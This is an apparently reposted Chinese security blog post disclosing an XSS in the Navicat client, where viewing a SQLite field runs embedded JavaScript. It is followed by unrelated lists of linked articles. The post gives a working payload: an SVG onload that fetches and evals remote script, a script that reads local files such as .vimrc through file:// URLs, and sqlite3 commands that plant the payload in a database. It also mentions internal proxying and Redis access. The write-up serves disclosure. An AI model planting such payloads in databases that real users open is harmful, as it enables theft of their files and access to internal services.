看不见的攻击面:查看 SQLite 数据库就中招?
Navicat 客户端存在一个 XSS,在查看表字段时,没有对内容进行处理,导致一个 XSS 问题。利用这个漏洞可以读取敏感文件,比如 /Users/XXXX/.bash_history 。
漏洞发现
这两天在测试一个漏洞数据库,这个漏洞库集成了 packetstormsecurity、exploitdb 等知名来源的数据。当我们用 navicat 打开,查看某个字段的时候,奇怪的事情发生了,居然有 Javascript 弹窗提示?
通过搜索 prompt 关键词,很快定位到了问题
所以,navicat 在渲染数据库字段时,莫名其妙的执行了代码中的 Javascript。
漏洞测试
为了方便调试客户端 XSS,我们编写一个最小的 “requirejs” 利用代码。这段代码会远程加载 127.0.0.1/test.js
并执行
http://localhost/x#<svg/onload='function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();'>
下面编写 test.js
,以读取沙箱外面的文件为例(注意替换 Users/USERNAME/.vimrc
为你要读取的文件)
function reqListener () {prompt(this.responseText);
}var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///Users/USERNAME/.vimrc");
oReq.send();
然后来创建 SQLite 数据库,并用 Navicat 打开
%> sqlite3 test.db
SQLite version 3.19.3 2017-06-27 16:48:08 Enter ".help" for usage hints. sqlite> create table test(id text); sqlite> insert into test values('http://localhost/x#<svg/onload=''function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();''>');
经过测试,利用这个漏洞读取用户文件、内网代理、访问开发机上的 redis 等等都是可以的,具有一定的危害
测试环境下载
笔者制作了一个最小的测试库 “navicat-clientxss-test.db”,在这里下载:https://rasp.baidu.com/download/
转自:http://www.3xmq.com/article/1514942883329?r=woshipm&from=timeline
看不见的攻击面:查看 SQLite 数据库就中招?相关推荐
- android studio SQLScout插件查看sqlite数据库
SQLScout (SQLite Support) SQLScout (SQLite Support) 是android studio集成开发工具中查看SQLite数据库的插件. 1.安装 file- ...
- Android查看手机中的db文件,查看sqlite数据库的表结构
转载自:https://blog.csdn.net/u011835956/article/details/52368829 我们的app里面用到sqlite数据库的时候, 会生成一个db文件,保存在我 ...
- 如何查看sqlite数据库的 .db文件中的表的内容数据
在使用 qt 的sqlite 数据的时候,对于创建的数据库的 .db 文件的内容的查看我们可以按照下面的步骤安装工具进行查看 下载所需的sqlite 查看工具 下载:链接:https://pan.ba ...
- 在windows下查看SQLite数据库
今天学了<第一行代码>的SQLite数据库,郭老师说用cmd下的adb可以查看,但我的进不了超级用户,没有权限进去(有没有大佬有解决方案?),忧虑中带着感伤,突然找到了其他方法解决,剑走偏 ...
- 关于Android Studio查看SQLite数据库
连接SQLite数据库 对于as内部模拟器可以使用App Inspection,支持API26版本以上 优点:这种是最方便的可以实时查看数据表的变化 缺点:仅支持内部模拟器,需要安装的东西比较多,很慢 ...
- Android 使用Stetho在Chrome浏览器查看SQLite数据库
前情提要 做Android经常要查看本地SQLite数据库的数据,可以直接用RootExplorer查看,或者在Android Studio中导出数据库文件,然后用第三方SQLite可视化工具查看,比 ...
- 使用adb命令查看Sqlite数据库
1,windows系统,使用快捷键alt+R,然后输入cmd,进度到命令行,输入adb shell,进入到命令模式的环境中 2,输入:cd /data/data/ 3, 选择你所在的数据库文件,比如我 ...
- android数据库插件,AndroidStudio中查看SQLite数据库插件
SQLScout,在 Android studio 内连接并操作 Android 设备上 sqlite 数据库. 特性 数据库结构浏览器 where you can connect to SQLite ...
- 查看android数据库sqlite3中的表及数据、手机上直接编辑数据库
找到一篇关于Sqlite的好文章,擅自保存下来,希望作者不要怪罪.. 转自: http://www.apkbus.com/android-60977-1-1.html 最近涉及到数据库的操作,要察看手 ...
最新文章
- 自控力极差的人如何自救?两个方法战胜拖延!
- PHP fsockopen函数说明:
- ROS Indigo下安装测试Xtion Pro
- 支付宝二面:Mybatis 接口 Mapper 内的方法为啥不能重载吗?我直接懵逼了。。。
- boost::describe模块实现string转enum的测试程序
- java 读取 邮件 附件,JavaMail 中对附件下载的处理
- php中datetime,珍藏 PHP中DateTime的常用方法
- Cracking the Coding Interview(Stacks and Queues)
- 设计模式(七)装饰模式
- springSession框架来实现sso单点登陆
- 我们用大数据创造没人能理解的人工智能
- 深入浅出Linux设备驱动编程--引言
- 【HUD2072】单词数(字典树-统计一句话中不同单词的个数)
- [数据结构] 树链剖分
- 计算机网络课程思政教学目标,计算机学院举行课程思政示范教学活动
- 【已解决】更新到MacOS Catalina 10.15后,VMware Fusion 虚拟机黑屏以及无法添加辅助功能的问题
- BaseFX 实习小记(终)
- 如何用PHP判断一个网址是否被百度搜索引擎收录,判断的原理是什么?
- 教你低成本获取用户:利用数据精细化运营(附手绘图)
- filter 过滤器
热门文章
- SAP QM MB56 报表没有结果之分析与对策
- SAP Forecasting and Replenishment for Retail – A short Overview【中英文双语版】
- SAP QM IDI Interface
- SAP ECM(Engineering Change Management) 相关表
- 这应该是全网最好的「机器学习」科普文
- AI 风投的下一个拐点是进还是退?
- 特斯拉:即将推出神经网络雨刷
- 人工智能进阶-CIFAR-10数据集介绍
- 一篇文章教你搞定传说中的“随机森林”
- AutoX李卓:无人驾驶市场是渐进式的,但技术其实很难渐进式